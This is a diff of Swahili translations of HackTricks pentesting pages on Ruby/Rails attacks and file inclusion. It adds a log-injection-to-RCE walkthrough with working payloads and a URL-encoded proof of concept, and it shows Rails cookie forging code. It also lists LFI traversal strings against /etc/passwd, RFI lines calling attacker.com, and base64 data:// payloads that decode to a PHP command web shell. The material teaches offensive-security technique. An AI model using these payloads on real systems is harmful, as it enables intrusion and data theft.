||||
Rekebisha prefix ili iendane na `urls:` zilizowekwa. Ikiwa app inajibu kwa maudhui ya faili, kuna uwezekano una LFI kwa chochote chini ya `:root` iliyotambuliwa.
|
||||
|
||||
- Mitigation: upgrade Rack; hakikisha `:root` inaonyesha tu kwenye saraka ya faili za umma na imewekwa wazi.
|
||||
- Kupunguza hatari: sasisha Rack; hakikisha `:root` inaonyesha tu kwa directory ya public files na imewekwa wazi wazi.
|
||||
|
||||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
||||
## Kutengeneza/ku-decrypt cookies za Rails wakati `secret_key_base` is leaked
|
||||
|
||||
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
|
||||
Rails encrypts na signs cookies kwa kutumia keys zinazotokana na `secret_key_base`. If that value leaks (mfano, katika repo, logs, au misconfigured credentials), kwa kawaida unaweza decrypt, modify, na re-encrypt cookies. Hii mara nyingi husababisha authz bypass ikiwa app inahifadhi roles, user IDs, au feature flags katika cookies.
|
||||
|
||||
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
|
||||
```ruby
|
||||
@ -71,8 +71,8 @@ forged = enc.encrypt_and_sign(plain)
|
||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
```
|
||||
Vidokezo:
|
||||
- Programu za zamani zinaweza kutumia AES-256-CBC na salts `encrypted cookie` / `signed encrypted cookie`, au JSON/Marshal serializers. Rekebisha salts, cipher, na serializer ipasavyo.
|
||||
- Iwapo kutatokea kompromisi au wakati wa tathmini, badilisha `secret_key_base` ili kuondoa uhalali wa cookies zote zilizopo.
|
||||
- Programu za zamani zinaweza kutumia AES-256-CBC na salts `encrypted cookie` / `signed encrypted cookie`, au JSON/Marshal serializers. Badilisha salts, cipher, na serializer ipasavyo.
|
||||
- Wakati wa compromise/assessment, badilisha `secret_key_base` ili kuufanya usifanye kazi cookie zote zilizopo.
|
||||
|
||||
## Tazama pia (Ruby/Rails-specific vulns)
|
||||
|
||||
@ -92,9 +92,83 @@ Vidokezo:
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
|
||||
|
||||
When an app (often a simple Rack/Sinatra/Rails endpoint) both:
|
||||
- logs a user-controlled string verbatim, and
|
||||
- later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`),
|
||||
|
||||
You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives:
|
||||
|
||||
- Ruby `load` hutekeleza yaliyomo ya faili lengwa kama Ruby bila kujali file extension. Faili yoyote ya maandishi inayoweza kusomwa na ambayo yaliyomo yake yanachambuliwa kama Ruby itaendeshwa.
|
||||
- `Pathname#cleanpath` inabana vipande `.` na `..` bila kugusa filesystem, ikiruhusu path smuggling: takataka inayodhibitiwa na mshambuliaji inaweza kuongezwa mwanzoni kwa ajili ya logging wakati path iliyosafishwa bado inarekebisha kwa faili lililokusudiwa kutekelezwa (mfano, `../logs/error.log`).
|
||||
|
||||
### Mfano mdogo wa muundo dhaifu
|
||||
```ruby
|
||||
require 'logger'
|
||||
require 'pathname'
|
||||
|
||||
logger = Logger.new('logs/error.log')
|
||||
param = CGI.unescape(params[:script])
|
||||
path_obj = Pathname.new(param)
|
||||
|
||||
logger.info("Running backup script #{param}") # Raw log of user input
|
||||
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
||||
```
|
||||
### Kwa nini log inaweza kuwa na Ruby halali
|
||||
`Logger` huandika mistari za utangulizi kama:
|
||||
```
|
||||
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
||||
```
|
||||
Katika Ruby, `#` huanza maoni na `9/2/2025` ni hesabu tu. Ili kuingiza msimbo halali wa Ruby unahitaji:
|
||||
- Anza payload yako kwenye mstari mpya ili isifutwe kama comment na `#` kwenye mstari wa INFO; tuma newline ya mwanzo (`\n` or `%0A`).
|
||||
- Funga `[` iliyodumu iliyotolewa na mstari wa INFO. Njia ya kawaida ni kuanza na `]` na, kwa hiari, kuridhisha parser kwa `][0]=1`.
|
||||
- Kisha weka msimbo wowote wa Ruby (mfano, `system(...)`).
|
||||
|
||||
Mfano wa kile kitakachomalizika kwenye log baada ya ombi moja lenye crafted param:
|
||||
```
|
||||
I, [9/2/2025 #209384] INFO -- : Running backup script
|
||||
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
||||
```
|
||||
### Kupeleka mfuatano mmoja ambao kwa wakati mmoja unarekodi code na unatatua kuwa log path
|
||||
Tunataka mfuatano mmoja unaodhibitiwa na mshambuliaji ambao:
|
||||
- wakati ulogiwa raw, unajumuisha payload yetu ya Ruby, na
|
||||
- wakati upitishwa kupitia `Pathname.new(<input>).cleanpath`, unatokana na `../logs/error.log` ili `load` inayofuata itekeleze faili ya logi iliyohujumiwa hivi karibuni.
|
||||
|
||||
`Pathname#cleanpath` hupuuzia schemes na hukusanya vipengele vya traversal, hivyo yafuatayo hufanya kazi:
|
||||
```ruby
|
||||
require 'pathname'
|
||||
|
||||
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
||||
puts p.cleanpath # => ../logs/error.log
|
||||
```
|
||||
- Alama ya `#` kabla ya `://` inahakikisha Ruby inapuuzia kile kilicho nyuma wakati logi inapoendeshwa, wakati `cleanpath` bado inapunguza nyongeza hadi `../logs/error.log`.
|
||||
- Newline ya mwanzo inavunja mstari wa INFO; `]` inafunga kibano kilichokuwa wazi; `][0]=1` inamridhisha parser.
|
||||
|
||||
### End-to-end exploitation
|
||||
1. Tuma yafuatayo kama jina la script ya backup (URL-encode the first newline as `%0A` if needed):
|
||||
```
|
||||
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
||||
```
|
||||
2. The app logs your raw string into `logs/error.log`.
|
||||
3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it.
|
||||
4. Ruby executes the code you injected in the log.
|
||||
|
||||
Ili exfiltrate faili katika mazingira kama ya CTF:
|
||||
```
|
||||
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
||||
```
|
||||
URL-encoded PoC (char ya kwanza ni newline):
|
||||
```
|
||||
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
||||
```
|
||||
## Marejeo
|
||||
|
||||
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
- Ushauri wa GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||
- Tangazo la Usalama la Rails: CVE-2025-24293 Active Storage mbinu za uongofu zisizo salama (imerekebishwa katika 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
- Taarifa ya GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
||||
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
||||
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
||||
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -13,7 +13,7 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
Ikiwa unapata credentials halali, unaweza kutumia metasploit scanner modules zaidi kupata taarifa.
|
||||
Ikiwa utapata vitambulisho halali, unaweza kutumia moduli zaidi za skana za metasploit kupata taarifa.
|
||||
|
||||
### Angalia pia
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
Remote File Inclusion (RFI): Faili inapatikana kutoka kwenye server ya mbali (Bora: Unaweza kuandika code na server itaiendesha). Katika php hii imezimwa kwa default (allow_url_include).\
|
||||
Local File Inclusion (LFI): Server inapakia faili ya ndani.
|
||||
**Remote File Inclusion (RFI):** Faili inapakuliwa kutoka kwenye seva ya mbali (Bora: Unaweza kuandika code na seva itaiendesha). Katika php hii kwa chaguo-msingi imezimwa (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Seva inapakia faili ya ndani.
|
||||
|
||||
Udhaifu hutokea wakati mtumiaji anaweza kwa namna fulani kudhibiti faili ambayo server itakuwa inapakia.
|
||||
Udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa namna fulani faili itakayopakiwa na seva.
|
||||
|
||||
Vulnerable PHP functions: require, require_once, include, include_once
|
||||
Funsi za **PHP** zilizo hatarini: require, require_once, include, include_once
|
||||
|
||||
Chombo kizuri cha kutumia kufaida udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
Zana muhimu ya kufanikisha udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Nimetengeneza hii kwa kuchanganya orodha kadhaa za *nix LFI na kuongeza njia zaidi:**
|
||||
**Kwa kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi nimeunda hii:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Jaribu pia kubadilisha `/` kwa `\`\
|
||||
Jaribu pia kuongeza `../../../../../`
|
||||
Pia jaribu kubadilisha `/` kwa `\`\
|
||||
Pia jaribu kuongeza `../../../../../`
|
||||
|
||||
Orodha inayotumia mbinu kadhaa kutafuta faili /etc/password (kuangalia kama udhaifu upo) inaweza kupatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Orodha inayotumia mbinu kadhaa kupata faili /etc/password (kuangalia kama udhaifu upo) inapatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
@ -40,22 +40,22 @@ Muungano wa wordlists tofauti:
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Jaribu pia kubadilisha `/` kwa `\`\
|
||||
Jaribu pia kuondoa `C:/` na kuongeza `../../../../../`
|
||||
Pia jaribu kubadilisha `/` kwa `\`\
|
||||
Pia jaribu kuondoa `C:/` na kuongeza `../../../../../`
|
||||
|
||||
Orodha inayotumia mbinu kadhaa kutafuta faili /boot.ini (kuangalia kama udhaifu upo) inaweza kupatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (kuangalia kama udhaifu upo) inapatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Angalia orodha ya LFI ya Linux.
|
||||
Angalia orodha ya LFI ya linux.
|
||||
|
||||
## Basic LFI and bypasses
|
||||
## Misingi ya LFI na bypasses
|
||||
|
||||
Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### traversal sequences zimeondolewa bila kutumia rekursia
|
||||
### traversal sequences zilitolewa bila kutumia rekursia
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Bypass kuongeza herufi zaidi mwishoni mwa mfuatano wa herufi uliotolewa (bypass ya: $\_GET\['param']."php")
|
||||
Bypass kuongeza herufi zaidi mwishoni mwa string iliyotolewa (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Hii **imetatuliwa tangu PHP 5.4**
|
||||
Hii ni **imetatuliwa tangu PHP 5.4**
|
||||
|
||||
### **Encoding**
|
||||
|
||||
Unaweza kutumia encodings zisizo za kawaida kama double URL encode (na zingine):
|
||||
Unaweza kutumia encodings zisizo za kawaida kama double URL encode (na mengine):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Kutoka kwenye folder iliyopo
|
||||
### Kutoka kwenye folda iliyopo
|
||||
|
||||
Labda back-end inakagua folder path:
|
||||
Huenda back-end inakagua njia ya folda:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Kuchunguza Saraka za Mfumo wa Faili kwenye Seva
|
||||
### Kuchunguza Katalogi za Mfumo wa Faili kwenye Seva
|
||||
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa kurudia (recursively) ili kubaini saraka, si faili tu, kwa kutumia mbinu fulani. Mchakato huu unahusisha kuamua kina cha saraka na kujaribu uwepo wa mafolda maalum. Hapo chini kuna njia ya kina ya kufanikisha hili:
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya rekursivu ili kubaini katalogi, sio tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha katalogi na kujaribu uwepo wa folda maalum. Hapo chini kuna mbinu ya kina ya kufanikisha hili:
|
||||
|
||||
1. **Tambua Kina cha Saraka:** Tambua kina cha saraka yako ya sasa kwa kupata kwa mafanikio faili `/etc/passwd` (inapotumika ikiwa seva inategemea Linux). URL mfano inaweza kuundwa kama ifuatavyo, ikiashiria kina cha tatu:
|
||||
1. **Tambua Kina cha Katalogi:** Bainisha kina cha katalogi la sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inayotumika ikiwa seva ni Linux-based). Mfano wa URL unaweza kuwa umeundwa kama ifuatavyo, ukionyesha kina cha tatu:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Probe for Folders:** Ongeza jina la folda inayoshukiwa (kwa mfano, `private`) kwenye URL, kisha rudi `/etc/passwd`. Kiwango cha ziada cha saraka kinahitaji kuongeza depth kwa moja:
|
||||
2. **Chunguza folda:** Ongeza jina la folda unayoshuku (kwa mfano, `private`) kwenye URL, kisha rudi kwenye `/etc/passwd`. Kiwango cha ziada cha saraka kinahitaji kuongeza kina kwa moja:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Tafsiri Matokeo:** Jibu la server linaonyesha ikiwa folda ipo:
|
||||
- **Hitilafu / Hakuna Matokeo:** Folda `private` huenda haipo katika eneo lililotajwa.
|
||||
- **Maudhui ya `/etc/passwd`:** Upo wa folda `private` umethibitishwa.
|
||||
4. **Uchunguzi Rekursivu:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa ajili ya subdirectories au faili kwa kutumia mbinu ile ile au mbinu za jadi za Local File Inclusion (LFI).
|
||||
3. **Fasiri Matokeo:** Jibu la server linaonyesha ikiwa folda ipo:
|
||||
- **Hitilafu / Hakuna Matokeo:** Folda `private` huenda haipo mahali ulilotajwa.
|
||||
- **Yaliyomo ya `/etc/passwd`:** Ukuwepo wa folda `private` umehakikishwa.
|
||||
4. **Uchunguzi wa Rekursivu:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa ajili ya saraka ndogo au faili kwa kutumia njia ile ile au mbinu za kawaida za Local File Inclusion (LFI).
|
||||
|
||||
Kwa kuchunguza folda katika maeneo tofauti ya mfumo wa faili, rekebisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda `private` (kwa kuzingatia folda ya sasa iko kwa kina cha 3), tumia:
|
||||
Ili kuchunguza saraka katika maeneo tofauti ya mfumo wa faili, rekebisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda ya `private` (ikiwa saraka ya sasa iko kwa kina cha 3), tumia:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation ni mbinu inayotumika kubadilisha file paths katika web applications. Mara nyingi hutumika kupata files zilizofungiwa kwa kuruka baadhi ya hatua za usalama zinazoongeza herufi za ziada mwishoni mwa file paths. Lengo ni kuunda file path ambayo, mara itakapobadilishwa na hatua ya usalama, bado itaonyesha file inayotakiwa.
|
||||
Path truncation ni mbinu inayotumika kubadilisha njia za faili katika maombi ya wavuti. Mara nyingi hutumiwa kupata faili zilizofungwa kwa restriction kwa kuzipita hatua fulani za usalama zinazoongeza tabia za ziada mwishoni mwa njia za faili. Lengo ni kubuni njia ya faili ambayo, mara itakaporudiwa na hatua ya usalama, bado inaelekeza kwa faili inayotakikana.
|
||||
|
||||
In PHP, uwakilishi mbalimbali wa file path unaweza kuchukuliwa kuwa sawa kutokana na tabia ya file system. Kwa mfano:
|
||||
Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuzingatiwa kuwa sawa kutokana na tabia ya mfumo wa faili. Kwa mfano:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` zote huchukuliwa kuwa path ileile.
|
||||
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
|
||||
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
||||
- Wakati herufi 6 za mwisho ni `passwd`, kuongeza `/` (kufanya kuwa `passwd/`) hakubadilishi faili lengwa.
|
||||
- Vivyo hivyo, ikiwa `.php` imeambatishwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadilisha faili inayofikiwa.
|
||||
|
||||
Mifano iliyotolewa inaonyesha jinsi ya kutumia path truncation kufikia `/etc/passwd`, lengo la kawaida kutokana na yaliyomo hatarishi (taarifa za akaunti za watumiaji):
|
||||
Mifano iliyotolewa inaonyesha jinsi ya kutumia path truncation kupata `/etc/passwd`, lengo la kawaida kutokana na yaliyomo yake nyeti (taarifa za akaunti za watumiaji):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
Katika senario hizi, idadi ya traversals zinazohitajika inaweza kuwa karibu 2027, lakini namba hii inaweza kutofautiana kulingana na usanidi wa server.
|
||||
Katika matukio haya, idadi ya traversals zinazohitajika inaweza kuwa takriban 2027, lakini namba hii inaweza kutofautiana kulingana na usanidi wa server.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) pamoja na dot segments za ziada na characters zinaweza kutumika kuvinjari mfumo wa faili, huku zikifanya server ipuuze nyongeza (kama `.php`) zilizoongezwa.
|
||||
- **Determining the Required Number of Traversals**: Kwa jaribio na makosa, mtu anaweza kupata idadi sahihi ya `../` inayohitajika kufika kwenye root directory kisha `/etc/passwd`, akiweka uhakika kwamba nyongeza zozote (kama `.php`) zimefanywa zisifanye kazi lakini path inayotakiwa (`/etc/passwd`) inabaki isiyoharibiwa.
|
||||
- **Starting with a Fake Directory**: Ni desturi ya kawaida kuanza path na directory isiyokuwepo (kama `a/`). Mbinu hii hutumika kama tahadhari au kutimiza mahitaji ya mantiki ya server katika kuchambua path.
|
||||
- **Using Dot Segments and Additional Characters**: Mfululizo wa traversals (`../`) uliounganishwa na sehemu za ziada za nukta na herufi unaweza kutumika kuvinjari mfumo wa faili, ukiepuka kwa ufanisi nyuzi zilizoambatanishwa na server.
|
||||
- **Determining the Required Number of Traversals**: Kupitia majaribio na makosa, mtu anaweza kubaini idadi sahihi ya `../` zinazohitajika kufika kwenye root directory kisha hadi `/etc/passwd`, kuhakikisha kwamba nyuzi zilizoambatanishwa (kama `.php`) zimeghairiwa lakini njia inayohitajika (`/etc/passwd`) inabaki.
|
||||
- **Starting with a Fake Directory**: Ni desturi ya kawaida kuanza njia na saraka isiyokuwepo (kama `a/`). Mbinu hii hutumika kama tahadhari au kutimiza mahitaji ya mantiki ya kuchambua njia ya server.
|
||||
|
||||
When employing path truncation techniques, ni muhimu kuelewa tabia ya server katika kuchambua path na muundo wa mfumo wa faili. Kila senario inaweza kuhitaji mbinu tofauti, na mara nyingi majaribio yanahitajika ili kugundua njia yenye ufanisi zaidi.
|
||||
Unapotumia path truncation techniques, ni muhimu kuelewa tabia ya server katika kuchambua njia na muundo wa filesystem. Kila tukio linaweza kuhitaji mbinu tofauti, na mara nyingi vipimo vinahitajika ili kupata njia yenye ufanisi zaidi.
|
||||
|
||||
**Udhaifu huu ulirekebishwa katika PHP 5.3.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
Katika php hili limezimwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Inapaswa kuwa **On** ili lifanye kazi, na katika hali hiyo unaweza kujumuisha faili ya PHP kutoka kwenye seva yako na kupata RCE:
|
||||
Katika php hii imezimwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Inapaswa kuwa **On** ili iweze kufanya kazi, na katika hali hiyo unaweza kujumuisha faili ya PHP kutoka kwenye server yako na kupata RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP iko kwenye **filtering** ya upatikanaji wa kurasa za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano data protocol pamoja na base64 ku-decode msimbo wa PHP wa b64 na kupata RCE:
|
||||
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inazuia upatikanaji wa tovuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano data protocol kwa base64 ili ku-decode msimbo wa b64 PHP na kupata RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji string iliyomalizika na `.txt`, hivyo string inamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na PHP halisi itajumuishwa (na kwa hivyo, itatekelezwa).
|
||||
> Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji kamba iliyomalizika na `.txt`, hivyo kamba inamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na kwa hivyo, utekelezwe).
|
||||
|
||||
Mfano mwingine **kutokutumia `php://` protocol** ungekuwa:
|
||||
Mfano mwingine **usiotumia `php://` protokoli** ungekuwa:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Kipengele cha mzizi
|
||||
|
||||
Katika python, katika msimbo kama huu:
|
||||
Katika Python, katika msimbo kama huu:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Ikiwa mtumiaji anapitisha **absolute path** kwa **`file_name`**, **njia ya awali inaondolewa tu**:
|
||||
Ikiwa mtumiaji anapitisha **absolute path** kwa **`file_name`**, **path iliyotangulia inaondolewa tu**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Hii ni tabia iliyokusudiwa kulingana na [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Ikiwa sehemu ni absolute path, vipengele vyote vya awali vinatupwa na kuunganishwa kunaendelea kutoka kwa sehemu ya absolute path.
|
||||
> Ikiwa sehemu ni njia kamili, vipengele vyote vilivyopita vinatupwa na kuunganishwa kunaendelea kutoka kwenye sehemu ya njia kamili.
|
||||
|
||||
## Java: Kuorodhesha Folda
|
||||
## Java Orodha za Saraka
|
||||
|
||||
Inaonekana kwamba ikiwa una Path Traversal katika Java na ukaomba **folda** badala ya faili, **orodha ya folda inarudishwa**. Hii haitatokea katika lugha nyingine (kwa kadri ninavyojua).
|
||||
Inaonekana kwamba ikiwa una Path Traversal katika Java na una **omba saraka** badala ya faili, **orodha ya saraka inarudishwa**. Hii haitatokea katika lugha zingine (kwa kadiri ninavyojua).
|
||||
|
||||
## Vigezo 25 vya Juu
|
||||
|
||||
Hapa kuna orodha ya vigezo 25 za juu ambazo zinaweza kuwa hatarini kwa local file inclusion (LFI) vulnerabilities (kutoka [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Hapa kuna orodha ya vigezo 25 vya juu ambazo zinaweza kuwa hatarini kwa local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +211,38 @@ Hapa kuna orodha ya vigezo 25 za juu ambazo zinaweza kuwa hatarini kwa local fil
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI using PHP wrappers & protocols
|
||||
## LFI / RFI kutumia PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filters zinaruhusu kufanya operesheni za msingi za **mabadiliko ya data** kabla ya kusomwa au kuandikwa. Kuna aina 5 za filters:
|
||||
PHP filters allow perform basic **operesheni za mabadiliko kwenye data** kabla data kusomwa au kuandikwa. Kuna aina 5 za filters:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Ondoa tags kutoka kwenye data (kila kitu kati ya "<" na ">" chars)
|
||||
- `string.strip_tags`: Ondoa tags kutoka kwenye data (kila kitu kati ya "<" na ">" alama)
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . Ili kupata **orodha ya encodings zote** zinazoungwa mkono, endesha kwenye console: `iconv -l`
|
||||
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . Ili kupata **orodha ya encodings zote zinazoungwa mkono** endesha kwenye console: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Kwa kutumia vibaya conversion filter ya `convert.iconv.*` unaweza **kutengeneza maandishi yoyote**, ambayo inaweza kuwa muhimu kuandika maandishi yoyote au kufanya function kama include isindike maandishi hayo. Kwa maelezo zaidi angalia [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
